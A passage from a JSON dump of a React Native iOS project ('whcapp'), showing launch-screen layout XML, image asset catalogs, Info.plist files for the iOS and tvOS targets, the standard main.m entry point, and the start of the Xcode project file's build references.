key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"480\" height=\"480\"/>\n                </imageView>\n            </subviews>\n            <color key=\"backgroundColor\" red=\"1\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n            <constraints>\n                <constraint firstItem=\"Q0v-cQ-x6h\" firstAttribute=\"top\" secondItem=\"iN0-l3-epB\" secondAttribute=\"top\" id=\"I8F-ke-sve\"/>\n                <constraint firstAttribute=\"bottom\" secondItem=\"Q0v-cQ-x6h\" secondAttribute=\"bottom\" id=\"VfF-jj-Oy5\"/>\n                <constraint firstItem=\"Q0v-cQ-x6h\" firstAttribute=\"leading\" secondItem=\"iN0-l3-epB\" secondAttribute=\"leading\" id=\"eRm-qc-2dF\"/>\n                <constraint firstAttribute=\"trailing\" secondItem=\"Q0v-cQ-x6h\" secondAttribute=\"trailing\" id=\"rzg-rP-dE4\"/>\n            </constraints>\n            <nil key=\"simulatedStatusBarMetrics\"/>\n            <freeformSimulatedSizeMetrics key=\"simulatedDestinationMetrics\"/>\n            <point key=\"canvasLocation\" x=\"-91\" y=\"4\"/>\n        </view>\n    </objects>\n    <resources>\n        <image name=\"launch\" width=\"617\" height=\"1098\"/>\n    </resources>\n</document>\n"
  },
  {
    "path": "ios/whcapp/Images.xcassets/AppIcon.appiconset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-Notification@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-Notification@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-Small@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-Small@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-Small-40@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-Small-40@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"60x60\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-Small-40@3x-1.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"60x60\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-60@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"idiom\" : \"ios-marketing\",\n      \"size\" : \"1024x1024\",\n      \"scale\" : \"1x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "ios/whcapp/Images.xcassets/Contents.json",
    "content": "{\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "ios/whcapp/Images.xcassets/launch.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"launch.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "ios/whcapp/Images.xcassets/loading.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"loading.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "ios/whcapp/Info.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleDisplayName</key>\n\t<string>whc</string>\n\t<key>CFBundleExecutable</key>\n\t<string>$(EXECUTABLE_NAME)</string>\n\t<key>CFBundleIdentifier</key>\n\t<string>org.reactjs.native.example.$(PRODUCT_NAME:rfc1034identifier)</string>\n\t<key>CFBundleInfoDictionaryVersion</key>\n\t<string>6.0</string>\n\t<key>CFBundleName</key>\n\t<string>$(PRODUCT_NAME)</string>\n\t<key>CFBundlePackageType</key>\n\t<string>APPL</string>\n\t<key>CFBundleShortVersionString</key>\n\t<string>1.0</string>\n\t<key>CFBundleSignature</key>\n\t<string>????</string>\n\t<key>CFBundleVersion</key>\n\t<string>1</string>\n\t<key>LSRequiresIPhoneOS</key>\n\t<true/>\n\t<key>NSAppTransportSecurity</key>\n\t<dict>\n\t\t<key>NSAllowsArbitraryLoads</key>\n\t\t<true/>\n\t</dict>\n\t<key>NSLocationWhenInUseUsageDescription</key>\n\t<string></string>\n\t<key>UILaunchStoryboardName</key>\n\t<string>LaunchScreen</string>\n\t<key>UIRequiredDeviceCapabilities</key>\n\t<array>\n\t\t<string>armv7</string>\n\t</array>\n\t<key>UISupportedInterfaceOrientations</key>\n\t<array>\n\t\t<string>UIInterfaceOrientationPortrait</string>\n\t\t<string>UIInterfaceOrientationPortraitUpsideDown</string>\n\t</array>\n\t<key>UIViewControllerBasedStatusBarAppearance</key>\n\t<false/>\n</dict>\n</plist>\n"
  },
  {
    "path": "ios/whcapp/main.m",
    "content": "/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n */\n\n#import <UIKit/UIKit.h>\n\n#import \"AppDelegate.h\"\n\nint main(int argc, char * argv[]) {\n  @autoreleasepool {\n    return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));\n  }\n}\n"
  },
  {
    "path": "ios/whcapp-tvOS/Info.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleExecutable</key>\n\t<string>$(EXECUTABLE_NAME)</string>\n\t<key>CFBundleIdentifier</key>\n\t<string>org.reactjs.native.example.$(PRODUCT_NAME:rfc1034identifier)</string>\n\t<key>CFBundleInfoDictionaryVersion</key>\n\t<string>6.0</string>\n\t<key>CFBundleName</key>\n\t<string>$(PRODUCT_NAME)</string>\n\t<key>CFBundlePackageType</key>\n\t<string>APPL</string>\n\t<key>CFBundleShortVersionString</key>\n\t<string>1.0</string>\n\t<key>CFBundleSignature</key>\n\t<string>????</string>\n\t<key>CFBundleVersion</key>\n\t<string>1</string>\n\t<key>LSRequiresIPhoneOS</key>\n\t<true/>\n\t<key>UILaunchStoryboardName</key>\n\t<string>LaunchScreen</string>\n\t<key>UIRequiredDeviceCapabilities</key>\n\t<array>\n\t\t<string>armv7</string>\n\t</array>\n\t<key>UISupportedInterfaceOrientations</key>\n\t<array>\n\t\t<string>UIInterfaceOrientationPortrait</string>\n\t\t<string>UIInterfaceOrientationLandscapeLeft</string>\n\t\t<string>UIInterfaceOrientationLandscapeRight</string>\n\t</array>\n\t<key>UIViewControllerBasedStatusBarAppearance</key>\n\t<false/>\n\t<key>NSLocationWhenInUseUsageDescription</key>\n\t<string></string>\n\t<key>NSAppTransportSecurity</key>\n\t<!--See http://ste.vn/2015/06/10/configuring-app-transport-security-ios-9-osx-10-11/ -->\n\t<dict>\n\t\t<key>NSExceptionDomains</key>\n\t\t<dict>\n\t\t\t<key>localhost</key>\n\t\t\t<dict>\n\t\t\t\t<key>NSExceptionAllowsInsecureHTTPLoads</key>\n\t\t\t\t<true/>\n\t\t\t</dict>\n\t\t</dict>\n\t</dict>\n</dict>\n</plist>\n"
  },
  {
    "path": "ios/whcapp-tvOSTests/Info.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleExecutable</key>\n\t<string>$(EXECUTABLE_NAME)</string>\n\t<key>CFBundleIdentifier</key>\n\t<string>org.reactjs.native.example.$(PRODUCT_NAME:rfc1034identifier)</string>\n\t<key>CFBundleInfoDictionaryVersion</key>\n\t<string>6.0</string>\n\t<key>CFBundleName</key>\n\t<string>$(PRODUCT_NAME)</string>\n\t<key>CFBundlePackageType</key>\n\t<string>BNDL</string>\n\t<key>CFBundleShortVersionString</key>\n\t<string>1.0</string>\n\t<key>CFBundleSignature</key>\n\t<string>????</string>\n\t<key>CFBundleVersion</key>\n\t<string>1</string>\n</dict>\n</plist>\n"
  },
  {
    "path": "ios/whcapp.xcodeproj/project.pbxproj",
    "content": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 46;\n\tobjects = {\n\n/* Begin PBXBuildFile section */\n\t\t00C302E51ABCBA2D00DB3ED1 /* libRCTActionSheet.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 00C302AC1ABCB8CE00DB3ED1 /* libRCTActionSheet.a */; };\n\t\t00C302E71ABCBA2D00DB3ED1 /* libRCTGeolocation.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 00C302BA1ABCB90400DB3ED1 /* libRCTGeolocation.a */; };\n\t\t00C302E81ABCBA2D00DB3ED1 /* libRCTImage.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 00C302C01ABCB91800DB3ED1 /* libRCTImage.a */; };\n\t\t00C302E91ABCBA2D00DB3ED1 /* libRCTNetwork.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 00C302DC1ABCB9D200DB3ED1 /* libRCTNetwork.a */; };\n\t\t00C302EA1ABCBA2D00DB3ED1 /* libRCTVibration.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 00C302E41ABCB9EE00DB3ED1 /* libRCTVibration.a */; };\n\t\t00E356F31AD99517003FC87E /* whcappTests.m in Sources */ = {isa = PBXBuildFile; fileRef = 00E356F21AD99517003FC87E /* whcappTests.m */; };\n\t\t133E29F31AD74F7200F7D852 /* libRCTLinking.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 78C398B91ACF4ADC00677621 /* libRCTLinking.a */; };\n\t\t139105C61AF99C1200B5F7CC /* libRCTSettings.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 139105C11AF99BAD00B5F7CC /* libRCTSettings.a */; };\n\t\t139FDEF61B0652A700C62182 /* libRCTWebSocket.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 139FDEF41B06529B00C62182 /* libRCTWebSocket.a */; };\n\t\t13B07FBC1A68108700A75B9A /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 13B07FB01A68108700A75B9A /* AppDelegate.m */; };\n\t\t13B07FBD1A68108700A75B9A /* LaunchScreen.xib in Resources */ = {isa = PBXBuildFile; fileRef = 13B07FB11A68108700A75B9A /* LaunchScreen.xib */; };\n\t\t13B07FBF1A68108700A75B9A /* Images.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 13B07FB51A68108700A75B9A /* Images.xcassets */; };\n\t\t13B07FC11A68108700A75B9A /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 13B07FB71A68108700A75B9A /* main.m */; };\n\t\t140ED2AC1D01E1AD002B40FF /* libReact.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 146834041AC3E56700842450 /* libReact.a */; };\n\t\t146834051AC3E58100842450 /* libReact.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 146834041AC3E56700842450 /* libReact.a */; };\n\t\t2D02E4BC1E0B4A80006451C7 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 13B07FB01A68108700A75B9A /* AppDelegate.m */; };\n\t\t2D02E4BD1E0B4A84006451C7 /* Images.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 13B07FB51A68108700A75B9A /* Images.xcassets */; };\n\t\t2D02E4BF1E0B4AB3006451C7 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 13B07FB71A68108700A75B9A /* main.m */; };\n\t\t2D02E4C21E0B4AEC006451C7 /* libRCTAnimation.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 5E9157351DD0AC6500FF2AA8 /* libRCTAnimation.a */; };\n\t\t2D02E4C31E0B4AEC006451C7 /* libRCTImage-tvOS.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 3DAD3E841DF850E9000B6D8A /* libRCTImage-tvOS.a */; };\n\t\t2D02E4C41E0B4AEC006451C7 /* libRCTLinking-tvOS.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 3DAD3E881DF850E9000B6D8A /* libRCTLinking-tvOS.a */; };\n\t\t2D02E4C51E0B4AEC006451C7 /* libRCTNetwork-tvOS.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 3DAD3E8C1DF850E9000B6D8A /* libRCTNetwork-tvOS.a */; };\n\t\t2D02E4C61E0B4AEC006451C7 /* libRCTSettings-tvOS.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 3DAD3E901DF850E9000B6D8A /* libRCTSettings-tvOS.a */; };\n\t\t2D02E4C71E0B4AEC006451C7 /* libRCTText-tvOS.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 3DAD3E941DF850E9000B6D8A /* libRCTText-tvOS.a */; };\n\t\t2D02E4C81E0B4AEC006451C7 /* libRCTWebSocket-tvOS.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 3DAD3E991DF850E9000B6D8A /* libRCTWebSocket-tvOS.a */; };\n\t\t2D02E4C91E0B4AEC006451C7 /* libReact.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 3DAD3EA31DF850E9000B6D8A /* libReact.a */; };\n\t\t2DCD954D1E0B4F2C00145EB5 /* whcappTests.m in Sources */ = {isa = PBXBuildFile; fileRef = 00E356F21AD99517003FC87E /* whcappTests.m */; };\n\t\t5E9157361DD0AC6A00FF2AA8 /* libRCTAnimation.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 5E9157331DD0AC6500FF2AA8 /* libRCTAnimation.a */; };\n\t\t832341BD1AAA6AB300B99B32 /* libRCTText.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 832341B51AAA6A8300B99B32 /* libRCTText.a */; };\n\t\tADBDB9381DFEBF1600ED6528 /* libRCTBlob.a in Frameworks */ = {isa = PBXBuildFile; fileRef = ADBDB9271DFEBF0700ED6528 /* libRCTBlob.a */; };\n/* End PBXBuildFile section */\n\n/* Begin PBXContainerItemProxy section */\n\t\t00C302AB1ABCB8CE00DB3ED1 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 00C302A71ABCB8CE00DB3ED1 /* RCTActionSheet.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 134814201AA4EA6300B7C361;\n\t\t\tremoteInfo = RCTActionSheet;\n\t\t};\n\t\t00C302B91ABCB90400DB3ED1 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 00C302B51ABCB90400DB3ED1 /* RCTGeolocation.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 134814201AA4EA6300B7C361;\n\t\t\tremoteInfo = RCTGeolocation;\n\t\t};\n\t\t00C302BF1ABCB91800DB3ED1 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 00C302BB1ABCB91800DB3ED1 /* RCTImage.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 58B5115D1A9E6B3D00147676;\n\t\t\tremoteInfo = RCTImage;\n\t\t};\n\t\t00C302DB1ABCB9D200DB3ED1 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 00C302D31ABCB9D200DB3ED1 /* RCTNetwork.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 58B511DB1A9E6C8500147676;\n\t\t\tremoteInfo = RCTNetwork;\n\t\t};\n\t\t00C302E31ABCB9EE00DB3ED1 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 00C302DF1ABCB9EE00DB3ED1 /* RCTVibration.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 832C81801AAF6DEF007FA2F7;\n\t\t\tremoteInfo = RCTVibration;\n\t\t};\n\t\t00E356F41AD99517003FC87E /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 83CBB9F71A601CBA00E9B192 /* Project object */;\n\t\t\tproxyType = 1;\n\t\t\tremoteGlobalIDString = 13B07F861A680F5B00A75B9A;\n\t\t\tremoteInfo = whcapp;\n\t\t};\n\t\t139105C01AF99BAD00B5F7CC /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 139105B61AF99BAD00B5F7CC /* RCTSettings.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 134814201AA4EA6300B7C361;\n\t\t\tremoteInfo = RCTSettings;\n\t\t};\n\t\t139FDEF31B06529B00C62182 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 139FDEE61B06529A00C62182 /* RCTWebSocket.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3C86DF461ADF2C930047B81A;\n\t\t\tremoteInfo = RCTWebSocket;\n\t\t};\n\t\t146834031AC3E56700842450 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 83CBBA2E1A601D0E00E9B192;\n\t\t\tremoteInfo = React;\n\t\t};\n\t\t2D02E4911E0B4A5D006451C7 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 83CBB9F71A601CBA00E9B192 /* Project object */;\n\t\t\tproxyType = 1;\n\t\t\tremoteGlobalIDString = 2D02E47A1E0B4A5D006451C7;\n\t\t\tremoteInfo = \"whcapp-tvOS\";\n\t\t};\n\t\t3DAD3E831DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 00C302BB1ABCB91800DB3ED1 /* RCTImage.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 2D2A283A1D9B042B00D4039D;\n\t\t\tremoteInfo = \"RCTImage-tvOS\";\n\t\t};\n\t\t3DAD3E871DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 78C398B01ACF4ADC00677621 /* RCTLinking.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 2D2A28471D9B043800D4039D;\n\t\t\tremoteInfo = \"RCTLinking-tvOS\";\n\t\t};\n\t\t3DAD3E8B1DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 00C302D31ABCB9D200DB3ED1 /* RCTNetwork.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 2D2A28541D9B044C00D4039D;\n\t\t\tremoteInfo = \"RCTNetwork-tvOS\";\n\t\t};\n\t\t3DAD3E8F1DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 139105B61AF99BAD00B5F7CC /* RCTSettings.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 2D2A28611D9B046600D4039D;\n\t\t\tremoteInfo = \"RCTSettings-tvOS\";\n\t\t};\n\t\t3DAD3E931DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 832341B01AAA6A8300B99B32 /* RCTText.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 2D2A287B1D9B048500D4039D;\n\t\t\tremoteInfo = \"RCTText-tvOS\";\n\t\t};\n\t\t3DAD3E981DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 139FDEE61B06529A00C62182 /* RCTWebSocket.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 2D2A28881D9B049200D4039D;\n\t\t\tremoteInfo = \"RCTWebSocket-tvOS\";\n\t\t};\n\t\t3DAD3EA21DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 2D2A28131D9B038B00D4039D;\n\t\t\tremoteInfo = \"React-tvOS\";\n\t\t};\n\t\t3DAD3EA41DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3D3C059A1DE3340900C268FA;\n\t\t\tremoteInfo = yoga;\n\t\t};\n\t\t3DAD3EA61DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3D3C06751DE3340C00C268FA;\n\t\t\tremoteInfo = \"yoga-tvOS\";\n\t\t};\n\t\t3DAD3EA81DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3D3CD9251DE5FBEC00167DC4;\n\t\t\tremoteInfo = cxxreact;\n\t\t};\n\t\t3DAD3EAA1DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3D3CD9321DE5FBEE00167DC4;\n\t\t\tremoteInfo = \"cxxreact-tvOS\";\n\t\t};\n\t\t3DAD3EAC1DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3D3CD90B1DE5FBD600167DC4;\n\t\t\tremoteInfo = jschelpers;\n\t\t};\n\t\t3DAD3EAE1DF850E9000B6D8A /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3D3CD9181DE5FBD800167DC4;\n\t\t\tremoteInfo = \"jschelpers-tvOS\";\n\t\t};\n\t\t5E9157321DD0AC6500FF2AA8 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 5E91572D1DD0AC6500FF2AA8 /* RCTAnimation.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 134814201AA4EA6300B7C361;\n\t\t\tremoteInfo = RCTAnimation;\n\t\t};\n\t\t5E9157341DD0AC6500FF2AA8 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 5E91572D1DD0AC6500FF2AA8 /* RCTAnimation.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 2D2A28201D9B03D100D4039D;\n\t\t\tremoteInfo = \"RCTAnimation-tvOS\";\n\t\t};\n\t\t78C398B81ACF4ADC00677621 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 78C398B01ACF4ADC00677621 /* RCTLinking.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 134814201AA4EA6300B7C361;\n\t\t\tremoteInfo = RCTLinking;\n\t\t};\n\t\t832341B41AAA6A8300B99B32 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 832341B01AAA6A8300B99B32 /* RCTText.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 58B5119B1A9E6C1200147676;\n\t\t\tremoteInfo = RCTText;\n\t\t};\n\t\tADBDB9261DFEBF0700ED6528 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = ADBDB91F1DFEBF0600ED6528 /* RCTBlob.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 358F4ED71D1E81A9004DF814;\n\t\t\tremoteInfo = RCTBlob;\n\t\t};\n\t\tFE26C7821FC16CCB0067ECFB /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = ADBDB91F1DFEBF0600ED6528 /* RCTBlob.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = ADD01A681E09402E00F6D226;\n\t\t\tremoteInfo = \"RCTBlob-tvOS\";\n\t\t};\n\t\tFE26C7941FC16CCB0067ECFB /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 139FDEE61B06529A00C62182 /* RCTWebSocket.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3DBE0D001F3B181A0099AA32;\n\t\t\tremoteInfo = fishhook;\n\t\t};\n\t\tFE26C7961FC16CCB0067ECFB /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 139FDEE61B06529A00C62182 /* RCTWebSocket.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3DBE0D0D1F3B181C0099AA32;\n\t\t\tremoteInfo = \"fishhook-tvOS\";\n\t\t};\n\t\tFEC2B7CF1FFE281300E7E2F3 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 139D7ECE1E25DB7D00323FB7;\n\t\t\tremoteInfo = \"third-party\";\n\t\t};\n\t\tFEC2B7D11FFE281300E7E2F3 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3D383D3C1EBD27B6005632C8;\n\t\t\tremoteInfo = \"third-party-tvOS\";\n\t\t};\n\t\tFEC2B7D31FFE281300E7E2F3 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 139D7E881E25C6D100323FB7;\n\t\t\tremoteInfo = \"double-conversion\";\n\t\t};\n\t\tFEC2B7D51FFE281300E7E2F3 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\tproxyType = 2;\n\t\t\tremoteGlobalIDString = 3D383D621EBD27B9005632C8;\n\t\t\tremoteInfo = \"double-conversion-tvOS\";\n\t\t};\n/* End PBXContainerItemProxy section */\n\n/* Begin PBXFileReference section */\n\t\t008F07F21AC5B25A0029DE68 /* main.jsbundle */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text; path = main.jsbundle; sourceTree = \"<group>\"; };\n\t\t00C302A71ABCB8CE00DB3ED1 /* RCTActionSheet.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTActionSheet.xcodeproj; path = 